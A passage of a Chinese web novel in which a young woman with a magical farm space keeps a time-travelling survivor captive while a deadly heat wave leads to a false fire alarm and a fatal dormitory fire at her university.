陆昼不耐烦：“又怎么了？” 秦小薇抢过他手里的狗盆,警惕道：“先洗其他的，香肠的你等会儿再洗！这块是洗碗的抹布……” 她怕他用洗过狗盆的抹布洗她的碗，这家伙这么狗,谁知道他会干出什么事“报复”她？ 陆昼：“……” 等他洗完了碗,秦小薇又指挥他把她种在空间里的菜浇了水。 这回他倒是没“反抗”，不仅没抱怨，还把活干得十分细致,他拿小铲子挨个把盆栽里的土松了松，让那些菜能长得更好,松土的动作也十分小心,半点没伤到盆里的植株。 秦小薇切了个果盘，一边吃饭后水果一边监督他干活：“没想到你动作还挺熟练，你之前是有什么搞园艺的爱好吗？” 陆昼：“你要是在末世生活了十几年,你也会变得和我一样。” 听他这么说，秦小薇不由得对这个世界的未来有些好奇：“这次高温过后，还会有什么灾难？” 陆昼抬头看了她一眼，笑了：“我的消息可不是白给的,你想知道，总要付出一点筹码……” 秦小薇用脚趾头想，都知道他接下来要说什么，她毫不犹豫地打断了他：“行了！你不用说了，好好干活！” 她还生着病呢！还是先顾好眼前的事吧！ 他的嘴她以后可以慢慢撬……就算这家伙什么都不说，按照之前的经验，官方也会提前发预警短信。 陆昼：“……” 他的动作很快，没过多久就把秦小薇种的菜打理好了，他指着远处一望无际的森林，冲着秦小薇开口道：“那边的地，不能开垦出来种东西吗？” 秦小薇顺着他的动作看向那片还没解锁的土地，摇头：“不能，那边暂时过不去。” 她这段时间都在攒金币开仓库的格子，就连升级后解锁的牧羊场和绵羊都没买，哪有金币去解锁新的土地？ 陆昼四处看了看，又指了一个方向：“那边还有一块地，能种吗？” 秦小薇摇头：“不知道。” 除了商店里购买的黑土地，空间里其他的土地，都可以在操作面板的控制下，随时变成水泥地、青草地、黄沙地、海水……这些地方能不能种东西，她是真没试过。 黑土地里的东西种下去之后，连浇水施肥都不需要，等几个小时就能收获，有这么逆天的作弊神器在，她是真的没耐心精心养护一株植物，等它从发芽到收获。 如果不是察觉到了对面邻居的异常，这些花盆、铲子现在还在她的空间里积灰呢！ 她上下打量着陆昼，这家伙不会是觉醒了什么种地基因吧？ 秦小薇眼珠子一转，冲着陆昼开口道：“不如你去试试？我给你提供工具和种子。” 说着，她打开仓库，取出装种子的箱子，扣扣搜搜地倒了半包香菜种子出来。 陆昼：“……你就不能大方一点？” 秦小薇：“你知道现在外面种子多贵吗？就这半包，就要好几百……我能拿这么多给你做实验，已经很大方了！放心，等你真把它们种出来了，我肯定会给你更多种子！” 就算是空间商店里已经解锁的种子，也是按颗卖的，有些一颗就要好几金币。 陆昼嗤笑一声：“你要是愿意和我合作，会差这几包种子？” 秦小薇作势要伸脚踹他：“快去干活，别磨蹭！” 等他用铲子锄头开垦出一片土地，又把香菜种子种下去之后，秦小薇又用手铐把他铐在了露台的围栏上：“行了，我出去了，你在这里好好待着。” 陆昼挑眉：“你就这样出去？不处理一下？” 秦小薇低头看了眼身上的穿着，睡衣睡裤都是干净的，没什么问题啊！ 她朝自己屁股后面看了一眼，今天也不是她的生理期…… 秦小薇：“处理什么？” 陆昼提醒她：“需要我提醒一下你，你是怎么被我发现不对劲的吗？你袖子上还沾着上顿饭的汤汁。” 秦小薇这才明白他话里的意思，她低头检查了一下自己的袖子，果然在上面找到了一点不太明显的痕迹。 她这套睡衣是深色的，弄脏了以后也很难看出来，没想到他竟然能发现。 这家伙视力这么好的吗？ 秦小薇：“我出去就换衣服，家里还有空气清新剂，我会处理好的。” 这两天生病，身体太难受了，她一不小心就忽略了这件事。 真是不应该！ 秦小薇在心里暗暗告诫自己，以后一定要更加小心才行！ 她可不想空间里莫名其妙又多出一个人！ 陆昼皱眉：“蠢货！能捂在空间里的秘密，为什么要出去做？就在这里换！处理完让香肠帮你检查一下，有没有别的破绽。” 秦小薇：“……”明明是好话，怎么从这家伙嘴里说出来，就让人想揍他？ 秦小薇瞪了他一眼，才去自己平时住的猎人小屋里换衣服，换完了衣服，她又仔细洗了手，刷了牙，漱了口，还往自己身上喷了点花露水遮掩气味…… 秦小薇：“我换好了，你让香肠来闻闻。” 陆昼拿起香肠的饭盆在地上敲了敲，又指了指秦小薇：“香肠，去闻闻她身上有没有你狗饭的味道。” 秦小薇：这形容…… 收到他的指令，香肠立刻凑到秦小薇身边，围着她嗅闻起来，为了方便它“干活”，秦小薇还特地蹲了下来。 “汪——”拉布拉多用脑袋拱了下她的头发。 陆昼：“头发没处理干净。” 秦小薇：！！！ 原来是头发！她忘了，每次吃完火锅这种味道比较大的东西后，头发上总会有味道，她在空间里做饭、吃饭，头发上自然也可能会有气味残留…… 看来下次得戴个头套吃饭！ 陆昼动了动鼻子：“你身上什么味道？” 秦小薇：“花露水，怎么了？” 陆昼：“这么高的温度，蚊子都热死了，你喷花露水不是欲盖弥彰？下次换成香水！” 秦小薇：“……”考虑得这么细致，这家伙之前是不是经常干需要清理现场的事？ 秦小薇又洗了个头，才算是通过香肠的“考验”，临走前，陆昼又叫住了她：“桌子呢？” 她看了看他身上那条超级丑的长裤，忍不住又嘲笑了他一番。 嘲笑完，秦小薇没有吝啬，给他找了张大桌子。 秦小薇：“好好努力，说不定你还能成为一个优秀的裁缝呢哈哈哈哈哈哈……” 陆昼的脸黑了：“……闭嘴！别笑了！” 陆昼：“你的药买到了没？” 秦小薇知道，他这是不满一直被绑着，想要获得更多的“自由”，不过，就 算他把她想知道的都说了，她也不可能放开他的，最多……给他换个长点的链子，让他增加一点活动空间。 秦小薇：“这个不着急，等我的病好了再说。” 陆昼：“你……！” 出了空间后，秦小薇发现半个小时前，段霞在寝室群里发了消息找她。 【段霞：薇薇，我买了个最美证件照的团购，地点就在你家楼上，约了今天晚上过去拍照，你要不要一起？】 【段霞：包化妆服装修图，一个人只要39.9。】 【段霞：[图片]】 【段霞：[图片]】 秦小薇知道，段霞“失业”之后就挺焦虑的，这周待在寝室，她也没闲着，一直在折腾她的简历，她想把简历做得更漂亮一些，然后找个好工作。 她不是宁市人，家里除了她之外还有个弟弟，她父母虽然没有克扣她的学费和生活费，但一直念叨着要她以后回老家帮扶她弟弟，段霞很厌烦这一点，一直希望毕业后能留在宁市找个好工作、经济独立、脱离父母的掌控。 她之前实习的那份工作，转正之后工资有八千多，后面带的学生多了，还会有另外的奖金，算是符合她的期待，但因为极端高温天气，这份工作黄了，她只能另外找…… 秦小薇压根就没考虑过找工作的事，自然也不需要拍什么最美证件照。 【秦小薇：我暂时不需要，你晚上几点过来？我下楼接你吧！我们公寓的电梯现在得刷卡。】 【段霞：约的是六点，那家店在你们公寓的1301。】 【秦小薇：OK】 秦小薇窝在沙发上玩了几个小时游戏，之后又一觉睡到了下午五点四十。 可能是因为是白天，也可能是因为之前涨水的时候，她就见过更加可怕的尸体了，这回，她倒是没有因为楼里死了人感到害怕，这一觉睡得还算安稳。 收到段霞的消息后，秦小薇才出门接她。 见面之后，段霞被她的脸色吓了一跳：“薇薇，你脸上怎么一点血色都没有？嘴唇也惨白惨白的……生病了吗？” 秦小薇点头：“感冒好几天了，还有点中暑……我吃了药，现在已经好很多了，昨天晚上才叫严重，我在医院排队的时候老感觉自己要晕倒。” 段霞皱眉：“你怎么不叫我们陪你一起去？我和琳琳这周待在寝室都没事干。” 秦小薇带着她刷卡进了电梯：“可能是病糊涂了，走到半路才想起来，但当时想着都骑了一半了，就直接自己去了医院……” 段霞：“医生怎么说？” 秦小薇：“排了六个多小时的队，花了两百多，最后医生说我没事，药都不给开，让我回来休息。” 段霞不满道：“这医生也太不靠谱了，我都看出来你状态不对了！” 秦小薇无奈地叹了口气：“没办法，现在医院病人太多了，挂急诊号都有门槛……对了，在药店买的特效避暑药你千万别卖了，真要是出事了，医院不给开药，还得靠那盒药救命！” 段霞点头：“我知道了，不过我听说班上有男生把药卖了，一盒药赚了五百多……” 秦小薇很惊讶：“五百多？我今天凌晨收了几盒，一盒1000，让对方送过来，还另外加了500的跑腿费！” “这么贵？！”段霞惊呼，“薇薇，你是不是被宰了？你应该在学校里收的！我听说前几天还没升温的时候，有人100多一盒就卖了……” 秦小薇想了想，摇头：“还是从外面收我心安一点，要是校友把药卖给我之后因为没药出了事，到时候学校一查，感觉会惹麻烦，我自己心里也会不舒服……” 毕竟高温天气会持续五个月，她平时身体这么好，都不能保证只中这一次暑。 预警短信里还特地提到了这个药，肯定是因为上面确定，大部分人都能用到它。 从二道贩子那收药也就算了，去学校收，总有种她下饵抢同学活命机会的感觉，虽然她买的药很可能是二道贩子从Q大的学生那收来的…… 段霞：“那倒也是……” 说话间，她们已经下了电梯，爬上了十三楼。 秦小薇以前是可以一口气爬十二楼还不带喘的，但今天实在是太热了，再加上她的身体还没恢复，爬了四层楼，她就喘得不行，段霞也是，出了一身的汗，身上的衣服也汗湿了。 秦小薇特别庆幸李阿姨给了自己电梯卡，否则以她昨天晚上的身体状况，她可能根本没力气爬上九楼…… 照相馆里冷冷清清的，一个客人都没有，化妆师和摄影师都在低头玩手机，屋里开了空调和风扇，可能是因为外面的温度太高了，空调的制冷效果并不好，但屋里依旧比外面“凉快”，进门后，秦小薇觉得舒服多了。 段霞拿出手机：“你好，我团购了一张券，之前打电话过来约过时间的……” 秦小薇回去也是一个人待着，难得段霞来公寓楼，她便留下来等她，顺便还能聊聊天。 这家照相馆是专门做毕业季Q大学生的生意的，照相馆里有很多套衣服可以选，段霞身上的衣服都汗湿了，就先选了衣服。 之后就是化妆，化妆师和摄影师都很健谈，化妆的时候，他们几个一直在聊天。 秦小薇：“这里这么大，就你们两个人，平时忙得过来吗？” 摄影师：“以前生意好的时候，我们一家店十几个人从早到晚忙得脚不沾地，但是最近太热了，一直没客人，老板担心又像之前下暴雨的时候那样，要白付员工工资，这里房租又贵……他连前台的接待都开了，就留了我们两个。” 秦小薇：“那你们两个技术肯定很好，老板才专门留了你们下来。” 化妆师笑了：“我们是运气好！你同□□气也不错啊！她这个团购套餐，之前团购是要88的，到店直接拍要108，但最近客人实在是太少了，老板才上了几单特价套餐，拉拉人气……美女，你要不要下一单？刚好你现在就在店里，我化完你朋友就给你化，还不用预约！” 秦小薇婉拒：“我暂时先不用，今天生病了，状态不太好！” 化妆师：“中暑了吗？” 秦小薇点头，并没有多聊自己的私事。 化妆师：“这周好多人都中暑了，我们楼上还死人了！要我说，还是不能出门，待在室内吹空调就什么事都没有！我们老板担心我们上班路上倒下，都直接让我们住店里了，他包空调费……” 摄影师：“要我说，还是市政的安排不合理，他们就不该设置什么临时避暑点！” 秦小薇顿时侧目：“啊？” 市政在各个商场、停车场设置临时避暑点，这算是利民工程了，帮了不少付不起高昂电费、家里没有空调的普通人。 虽然有很多人抱怨里面环境不好，但到目前为止，她还没听到有人说，市政不该出人出钱做这事！ 屋里其他几人也纷纷看向摄影小哥。 段霞忍不住反驳他：“我觉得挺好的！现在这天气，开空调特别耗电，没装太阳能发电板的话，一个月空调费就得上千，我舅舅他们在乡下种地，一年根本赚不了多少钱，要是市政没安排临时避暑点，他们肯定舍不得一直开空调，早晚要出事……” 摄影师连忙摆手：“哎，我不是这个意思！” 摄影师：“你们看，预警短信一发出来，天气预报显示的温度就更新了，说明上面早就知道高温的事了，只是之前一直捂着不让我们知道……既然早就知道，他们其实可以多做很多准备的！” 他站了起来，一副指点江山的模样：“要是我是决策者，我肯定会提前在地底挖个很大的避难所，现在这种温度，其实住在地下才是最好的！国外有部电影，叫《末日狂欢》，你们看过没？我说的避难所，就是里面的那样……” 摄影师：“以咱们现在的 技术，团结一心，想在地底弄些大型避难所，真的不难……唉！可惜了！” 秦小薇：“……”他可真自信！ 这些天网上确实出现了不少类似的说法，说如果高温持续很久的话，人类搬到地底生活才是最优解。 但陆昼一回来就联系了上面的人，上面的人知道未来的情况，他们不在地底挖避难所，肯定是有其他的考量！至少，到目前为止，国家做出来的种种决策都是对民众有利的。 虽然在施行的过程中，因为种种原因，某些方面可能不尽如人意，但换一批人，未必会做得更好。 秦小薇忍不住开口打断他：“我还是相信国家的，要是建地下避难所获益更多，他们肯定会建的！现在没建，肯定是有原因的……” 段霞：“对啊！上面那么多人一起做决定，他们知道的比我们多，做决定前肯定有他们的思量……我们也不用想那么多，好好听话过好自己的日子就行了！” “唉！你们女孩子不懂，有些东西是很黑暗的，很多决定都是各方博弈的结果，我们现在看到的很多事，都是那些成功者想让我们看到的……”摄影师一副讳莫如深的模样。 听到他的言论，秦小薇已经忍不住翻白眼了。 他要真有这么厉害，怎么不见他有个什么职位，反而在这当个随时可能被裁员的摄影师？ 这些男的，一个个都喜欢靠嘴炮指点江山！ 要不是他待会儿还要给段霞拍照，秦小薇绝对要撸起袖子和他大战三百回合，好好吵一架！ 化妆师可能是已经习惯了，面对摄影师的言论，并没有什么反应，秦小薇和段霞则因为他的这些言论，变得有些沉默，没再和他们继续聊天。 不过有一说一，他们俩能在这种大环境下被老板留下来，还是有两把刷子的，精修照里，段霞的颜值都上升了好几个lv。 有种哪哪都P过了，但是乍一看又看不出来哪里P过了的感觉。 照相馆里现在没人排队，段霞很快就拿到了照片。 段霞在APP上好评，又发了朋友圈宣传之后，对方还送了她不同底色的精修电子版照片。 下楼以后，段霞看着手里的照片评价道：“这个价格还是挺值的，就是摄影师脑回路有点问题，说出来的话让我怀疑他上班前脑子是不是被驴踢了！” 秦小薇被她的话逗笑了：“哈哈哈哈哈阿霞你嘴怎么这么毒？” 段霞摊手：“实话实说罢了！” 分开前，段霞还不忘叮嘱她：“薇薇，你下次身体不舒服了去医院记得找我们陪你一起去，千万别一个人硬撑着！” 秦小薇：“知道啦！寝室长大人！你回去也和饭饭她们说一声，手里的药千万别卖了！” 段霞：“好！” 第48章 第48章失火（双更合一） 外面实在是太热了,秦小薇不愿意出门，送走了段霞后就一直待在家里，饿了就去空间里让陆昼给自己做饭。 秦小薇替他解开手铐：“我饿了,去做饭吧！今天我想吃西红柿炒蛋、韭菜炒虾仁……再煎几片培根！” 陆昼开口就是冷嘲热讽：“终于来了,我还以为你去修仙了,饭都不吃了！” 秦小薇原本是想嘲讽回去的，但听到他的肠胃因为饥饿发出一连串的“咕咕”声,才想起来,空间里永远都是白天，这家伙手上连个表都没有,估计连什么时间该睡觉都不知道。 她在外面这十来个小时，他可能一直在空间里等她进来拿食材做饭……也就没和他计较了。 陆昼的表情不太好看，他按住自己的胃部,试图阻止它的“抗议”。 秦小薇找出他的手机扔给他：“我现在在调整作息,早上八点到下午四点半是我的睡觉时间，工作日的第二顿我一般在银行吃能量饼干，我会提前给你留面包牛奶,第三顿要看银行什么时候下班……你自己调整一下作息，争取和我同步。” 陆昼：“你早上换个地方铐我,这里睡觉不舒服！” 秦小薇点头：“行！” 既然这家伙给她做饭、洗碗、种菜,她也不介意多分间屋子给他住，反正她空间里各种装饰用的房子多得很，除了一两个月一次的活动,有时候升级也会送建筑，她一个人根本住不过来。 在陆昼的要求下，她换了套吃饭专用服装，还用一次性浴帽把头发裹起来了。 饭菜上桌后,秦小薇看了眼桌上的饭菜，满意了。 陆昼没再故意拿摆盘恶心她，他们两个的饭菜是完全一样的，不过他俩的饭菜是完全分开的，一顿饭三道菜，他们要用六个盘子两个碗。 盘子和饭碗摆在饭桌的两边，中间像是隔了一条楚河汉界似的。 秦小薇也不想和他吃同一盘菜，也就没多说什么——反正碗又不要她洗。 吃完饭，干完活，陆昼提出想挑个房间睡觉，毕竟从他被放出来到现在，他已经在露台上熬了快二十个小时了。 秦小薇懒得带着他在空间里慢慢找房子，便打开控制面板，把建筑一栋栋挪到沙滩上，让他自己挑。 陆昼挑房子的同时还不忘吐槽她：“你空间里这么多房子，你怎么挑了间这么寒酸的当卧室？” 秦小薇直接一脚踹了过去：“我的猎人小屋那是温馨！温馨懂不懂？” 陆昼险险避开她的攻击，嘴上依旧不饶人：“那你对温馨的定义还真特别！喂，那边那艘船我能选吗？” 秦小薇顺着他手指的方向，看到了海上最大的那艘蛋糕主题船，她点点头：“行啊！” 陆昼眼里闪过一丝什么，他开口试探道：“你不怕我开着船跑了？比如，穿过这片大海，到达另一个农场……” 秦小薇翻了个白眼：“你可以试试看！” 船上没水没食物，没了商店里买的钓竿，海里更是屁都钓不上来，他要是坐船跑了，结果只能是饿死渴死在海上。 她也不用纠结要怎么处理他了！ 最后，陆昼选了一栋两层高的折顶式小屋，屋子只有楼上楼下两间房，但二楼有个很大的阳台，站在阳台吹风看海都很舒服。 屋里只有床和一些简单的家具，秦小薇就去自己存放物资的地方给他找了新的被子和四件套。 陆昼提着她拿过来的浅粉色碎花床单，嫌弃道：“你让我用这个？” 秦小薇半点都不惯着他，直接把东西收进了仓库里，换成两匹还没裁剪的棉布：“不喜欢？那你自己手缝吧！” 有的用就不错了，还嫌这嫌那，亏她还特地拿了一套新的！ 陆昼：“哎，不是……我……” 秦小薇无视他脸上懊恼的表情，又从空间里拿出一堆连棉籽都没剔除的棉花：“我没有多余的枕头，你自己弄个枕头吧！” 陆昼不可置信地看着她：“你还要我弹棉花？” 秦小薇：“……” 秦小薇：“这棉花处理好了，应该塞一塞就能用吧？哈哈哈哈哈你刚刚那句话太有画 面感了！我忍不住了哈哈哈哈……” 陆昼咬牙：“秦！小！薇！” 秦小薇笑够了，又等他铺好了床，解决完了生理问题，才把人拴上离开空间。 明天就是周一了，在家休息了两天，又没有同事和她互相传染，她的感冒已经好了很多。但秦小薇还想继续休息几天，便拍了之前医生给她的病历和一堆药发给经理，和经理请假。 担心经理不给批假，她拍照的时候故意没拍到时间。 因为诊断那一栏写了轻度中暑和病毒性感冒，经理给她批了两天假。 秦小薇：太好了！这周可以上三休四！ 为了调整作息，她一直熬到早上七点半才躺床上睡觉，不知睡了多久，她被外面的喊声吵醒了！ “着火了！着火了！”公寓楼的隔音很不好，就算门窗都关着，秦小薇依旧听到了外面的喊声。 着火了？着火了！ 意识到外面在喊什么之后，秦小薇瞬间从床上弹射起身。 她没收拾东西，拿了身份证、手机和前几天刚买的特效避暑药，随便打湿了一条毛巾，捂着口鼻就往外冲。 ：= 外面乱糟糟的，不少人都听到了喊声，秦小薇下楼的时候，楼梯间全是往楼下跑的住户，还有人边跑边喊着火了，试图叫醒楼里那些还在睡梦中的住户…… 楼道里的消防栓已经被人打开了，有人装好了阀门、连接水带和水枪，正在四处找起火点。 秦小薇没坐电梯，和其他人一样，走的是楼梯。 她几乎是用出了此生最快的速度，下楼的时候都是一步跨两三个台阶。 但她很快发现了不对，着火了怎么没有烟？ 但大家都在往楼下冲，她也没想太多，跟着冲了出去。 可能是楼上着火了吧，火势可能还没蔓延下来……赶紧跑吧！ 现在是中午，外面正是太阳最大的时候，秦小薇刚冲出公寓楼，就觉得从一个火炉进入另一个更热的火炉…… 她用手挡在眼睛上方四处看了看，才发现着火的不是她住的公寓楼，而是远处的建筑，在她这个位置，只能看到空中的一阵阵黑烟。 秦小薇：“……”吓死她了！哪个神经病乱喊着火了？ 楼里不断有人跑出来，大家都跑得气喘吁吁，发现自己被耍了之后，各个都很生气。 “刚刚是谁喊的着火了？” “我住14楼，应该是我楼上，我听到声音是从楼上传过来的！” “累死我了！我要喘不上气了，外面怎么这么热？” “……” 外面实在是太热了，秦小薇脚下的居家拖鞋又很薄，她站在水泥地上，竟然有种站在正在加热的铁板上的感觉。 虽然天气预报显示今天的最高温是52℃，但秦小薇觉得，晒了一上午，水泥地上的温度肯定接近六七十度了，要不然也不会这么烫脚！ 她没和其他人一起讨论到底是谁在恶作剧，而是重新回到了公寓楼里，准备爬楼梯上去——出来得太匆忙，她连电梯卡都没拿。 上楼的时候，她还不忘提醒那些正在往下跑的住户：“不是咱们这栋着火了，都回去吧！回去吧！” 来回折腾这么一趟，秦小薇回到九楼的时候，已经累出了一身的汗。 不过她今天的状态比昨天晚上好多了，上下楼加起来十八层，她的状态竟然和昨天爬四层楼差不多。 看来她这两天吃的那些药还是很有用的。 虽然这事只是一个恶作剧，也不是所有人都被骗了，但被骗的住户都很生气，毕竟他们有些是从十几二十层跑下去的，这么热的天，一上一下，感觉人都要累瘫了。 大家都在打卡群里找那个“始作俑者”，一时间群里热闹无比…… 秦小薇刚开始还在群里吃瓜，但很快，她就没心情吃瓜了，因为年级群里有人说着火的是Q大的学生宿舍！还是和她们女寝一栋紧挨着的二栋！ 她走到窗户边上，掀开窗户上的双层隔热膜朝外面看了一眼，窗户被太阳晒得很热，秦小薇的指尖接触到玻璃的时候，竟然被烫得瑟缩了一下。 从这里看过去，勉强能看到Q大的一小部分建筑，黑烟确实是从Q大的方向传出来的。 她拿起手机，开始打三个室友的电话，电话那头一直是忙音，根本没人接。 她又在寝室群里发了消息，依旧没人回。 现在天气非常干燥，稍微有点火星子，就能引起大片的火灾，她们一栋和二栋中间虽然还隔着一条好几米宽的通道，但秦小薇依旧很担心风把火星子吹过去，让女寝一栋也烧起来。 毕竟这几天网上已经出现了不少这样的新闻，一栋楼起火，风一吹，连带着周围好几栋楼一起烧了…… 年级群里有男生说，女寝一栋已经有人开始往宿舍楼外面跑了。 秦小薇担心三个室友还在睡，她想了想，换了衣服鞋子，简单收拾了一个背包，就出门了。 这是她第一次在白天出门，虽然戴了帽子，但依旧非常晒，骑着车走在太阳底下，她甚至有种自己会被晒熟的错觉。 身体一直在冒汗，但因为高温，那些汗没法蒸发散热，只能打湿她身上的长袖，让衣服粘在身上…… 短短几分钟的路程，竟然让秦小薇有种自己在受刑的感觉。 这鬼天气，难怪那么多人中暑！ 寝室楼下一片嘈杂，隔壁二栋火光冲天，附近的宿舍楼不断有人从楼里往外冲，看到楼下聚集了不少人，秦小薇才松了口气。 这么大动静，范槿她们三个肯定都醒了！ 她把自行车锁在一边，开始在人群中寻找三人的身影。 虽然预警短信刚发出来的时候，老师和校领导就鼓励学生们回家上网课，但他们Q大有好几万学生，因为抢不到车票和其他种种原因，现在依旧有不少外地的学生滞留在寝室里。 学校也没不管这些滞留的学生，食堂照旧是每天开门，天黑之后，学生们可以过去刷卡买能量饼干和饮用水，水电也都没停。 除了不用去教室上早八，学校的一切似乎都和没放假的时候一样…… 还留在学校的班委已经在组织班上的同学聚集到一起，清点人数，看还有没有同学没下来。 秦小薇听到班委的喊声后，立刻跑了过去，很快在人群中找到了三个室友。 “薇薇，你怎么来了？”三人看到她都很惊讶。 秦小薇：“给你们打了电话，你们一直没接，我担心你们还在寝室睡觉，就过来看看……” 范槿：“我睡觉手机开了静音。” 段霞：“我忘记带手机下来了，就拿了身份证和银行卡。” 肖琳琳：“可能是下楼的时候太急了，没注意到手机在响。” 秦小薇：“……你们人没事就行！” 她从背包里拿出太阳伞撑开，见三个室友都穿着短袖睡衣站在太阳底下暴晒，又把防晒油拿出来让她们抹上。 秦小薇：“这里太阳太大了，我们去阴凉的地方站着吧！” 段霞：“行，我去和班长说一声！” 担心其他班委不知道她们的去向，肖琳琳还拿出手机在群里说了一声。 她们所有的家当都在宿舍里，但这个时候，宿舍楼情况不明，她们又不能折回去收拾东西，三人都很担心这场火灾会继续蔓延，她们没有走远，只去附近食堂的屋檐下待着。 女寝二栋的火势有越来越大的趋势，几乎整栋寝室楼都被烧着了，远远看去，就像是一个冒着黑烟的大火球。 已经有不少学生打了消防电话了，但消防车却一直没来…… 范槿站在屋檐下，不断用手扇风：“好热！好热！外面怎么会这么热？” 在外面待了十多分钟，秦小薇也热得不行，她从背包里拿出一瓶淡盐水，一口气灌了半瓶。 又拿出一板特效避暑药：“一人一粒，你们别和我之前一样，热中暑了！” 段霞：“好……薇薇，你还有水吗？” 秦小薇：“还有一瓶，你们三个分分吧！” 三人吃了药，又等了一会儿，消防车才到。 看着那一个个行动迅速的消防员，四人都松了口气。 秦小薇：“咱们一栋应该不会被点着了，你们先去我那吧！晚点等火灭了再回来！” 白天外面的温度实在是太高了，她们之前还是从空调 房里出来的，在外面站了快半个小时，三人都感觉自己快要热晕过去了，就没有拒绝秦小薇的提议。 从宿舍楼到公寓也就几百米，但这一路她们却走得十分煎熬，用范槿的话来说，就像是在铁板上跳舞…… 回到公寓后，四人都狠狠松了口气。 即使只在外面待了半个多小时，她们身上的衣服也被汗水浸得能拧出水来。 秦小薇找出一次性杯子，让她们补充淡盐水：“中午温度太高了，空调制冷不行，你们把风扇搬过来吹吧！” 范槿：“宿舍也差不多，我们在宿舍也得开着空调吹风扇……” 虽然她们都快热冒烟了，但几人都没敢喝冰水，而是喝的常温的淡盐水——网上有医生科普，大量出汗脱水后，再喝冰水会加重脱水，也不利于核心热量的散发。 补充完水分，秦小薇又找出几套干净的衣服，借给室友们换上。 学校出了这么大的事，几人都没心情聊天，一直抱着手机看群里的最新进展。 火势太猛了，消防员折腾了好几个小时才把火扑灭，失火原因还在调查，因为食堂天黑之后才开门，学生们也改了作息，白天睡觉，晚上才起来活动。 起火的时候，大部分学生都在睡觉，再加上宿舍楼的楼层比较高，二栋有些女生根本没跑出来，虽然学校还没有公布伤亡人数，但有学生拍到了运尸车一车车运送尸体的画面。 外面实在是太热了，老师们担心学生们晒出事，第一时间就组织了跑出来的学生去阴凉的地方待着，等火灭了，就让他们直接回寝室了。 至于二栋那些“无家可归”的学生，则被安排去了其他楼栋的空寝室先凑合着。 但大部分学生这些天都待在寝室，就连买能量饼干都是好几个寝室轮流去买，忽然让他们从空调房转移到室外，一待还是好几个小时，不少学生都出现了轻微中暑、脱水的情况。 已经因为火灾死了不少人了，校领导担心剩下的学生也出问题，就让辅导员督促学生们不舒服了及时吃药、去校医院就诊…… 这次火灾，没跑出来的女生大多住高层，学校担心还会继续出这样的“意外”，便让辅导员协调还在校的学生换寝室，住在高楼层的全都搬下来。 刚好高温前几天有不少人都回了家，空出了不少寝室，就算他们要往楼下搬，也有空房间。 就是那些寝室里还留有不少行李，他们住进去之后，难免会搬动那些行李，到时候可能会产生纠纷…… 毕竟在那些行李的主人看来，他们就放暑假回了趟家，再回来，行李就被人翻得乱七八糟的了，放在谁身上都会生气！ 段霞和肖琳琳没地方去，不搬下楼就只能去公共商场、停车场这些地方打地铺，据说那里一躺下就能听到“咚咚咚”的脚步声，一刻也睡不安稳，睡几晚还会腰疼……她俩没怎么纠结，太阳落山之后，就回去收拾东西搬寝室了。 范槿的家就在宁市，知道学校宿舍起火，还死了不少人之后，她爸妈都强烈要求她回家住，一番纠结过后，范槿选择了妥协，暂时搬回家。 打卡群里也非常热闹，一番“追本溯源”后大家找到了第一个乱喊“着火了”的人。 23楼有个住户家里向阳的那面刚好是一整面的落地玻璃窗，以前温度不高的时候还好，家里采光非常充足，晒衣服什么的也很方便。 但极端高温到来之后，在太阳的暴晒下，他这几天就算是24小时开着空调和空调扇，屋里依旧很热，尤其是中午的时候，热得人根本睡不着。 他中午热得睡不着起来喝水，刚好看到Q大的方向着火了，然后就冲着他老婆喊了一声，但公寓楼的隔音太差了，再加上他嗓门又大，他上下左右的邻居都听到了他的喊声，以为真的着火了，也跟着喊了起来。 因为喊的人太多了，那位最开始喊“着火了”的住户还以为真的着火了，也拉着他老婆跑下了楼……最后，楼里其他人也都跟着一起往楼下跑。 总而言之，这就是一个由于大嗓门造成的乌龙事件。 众人在打卡群里把那人谴责了一番，又开始@奚川说电梯的事，奚川依旧没有任何回应，然后就有人在群里@房东说要退租……十分混乱。 公寓楼的楼层实在是太高了，现在这么热，没有电梯真的很不方便，有些人为了不下楼买能量饼干和水，甚至已经开始下单找跑腿拿着身份证开着视频去楼下便利店“代购”…… 不过他们这种行为也“创造”了不少新的工作岗位，很多失业的人现在都在APP上注册当跑腿。 之前暴雨的时候，大家都想住高楼层，现在极端高温，大家都不愿意爬楼，低楼层反而更受欢迎。 至于被水泡过的房子有湿气……外面温度这么高，再多的湿气也被晒干了！ 看着群里的聊天记录，秦小薇觉得，她下次交房租的时候，应该能拿着这事再和房东砍一波价，把房租砍到正常价格。 至于搬家……陆昼的朋友都住在这里，要是这房子真的有什么大问题，陆昼肯定会让奚川搬家！ 奚川那么有钱，忽然搬来这栋人员混杂、隔音很差的公寓，本身就很奇怪，说不定其中还有陆昼的“指点”……住在这里她还能抄他家的“作业”。 不管从哪个角度看，她都没有搬家的必要！ 第49章 第49章玻璃炸了（双更合一）…… 晚上秦小薇进空间里吃饭的时候,陆昼正在手工扣棉花里的棉籽，这是一个又考验耐心又费手的活，他似乎还有点强迫症,棉籽上的每一缕白色棉丝都要弄下来…… 秦小薇看到他的时候,他满脸都是经历了生活蹉跎的沧桑。 看到她来了,陆昼瞪了她一眼：“我车里有现金，你去给我买个枕头！” 秦小薇扫了一眼他处理好的棉花,敷衍道：“这不是已经弄好很多了吗？等晒干了你再缝个枕套就可以塞里面用了,不用麻烦我跑一趟！” 陆昼：“……” 秦小薇帮他解开手铐：“你会包饺子吗？我之前包的饺子快吃完了，你今天多包一点冻雪屋里……等过两天我开始上班了,没太多时间等你做早餐！” 陆昼：“你还真当我是你的仆人啊？” 秦小薇斜眼看他：“难道你不吃？香肠也不吃？” 陆昼沉默。 陆昼包饺子的时候，秦小薇就拿着手机在边上玩消消乐，不知想到了什么,她忽然开口问他：“陆昼,你上辈子的时候，宁市也发生了很多次火灾吗？” “外面发生火灾了？”陆昼抬头看了她一眼，这回倒是没卖关子,老老实实回答了她的问题，“当时市内都没什么人,也没什么机会制造火灾,城外倒是火灾的重灾区……我记得高温过后，有其他市的人逃来宁市，说Q省和周围几个省连接的山脉,全都烧完了，大火持续了两个多月……” 秦小薇忍不住倒吸一口凉气，山脉都烧完了？那得是多大的火啊！ ：. 秦小薇：“市内怎么会没人？难道他们涨水的时候都死了？” 陆昼：“那倒不至于，也就死了一大半！还剩了挺多人的,但是高温的时候，乡下比城里的温度低一点，再加上乡下有井、水库也不在城里，大家为了活命，就迁移过去了……” 他说得轻描淡写，似乎 数百万人的死亡在他眼里都不值一提。 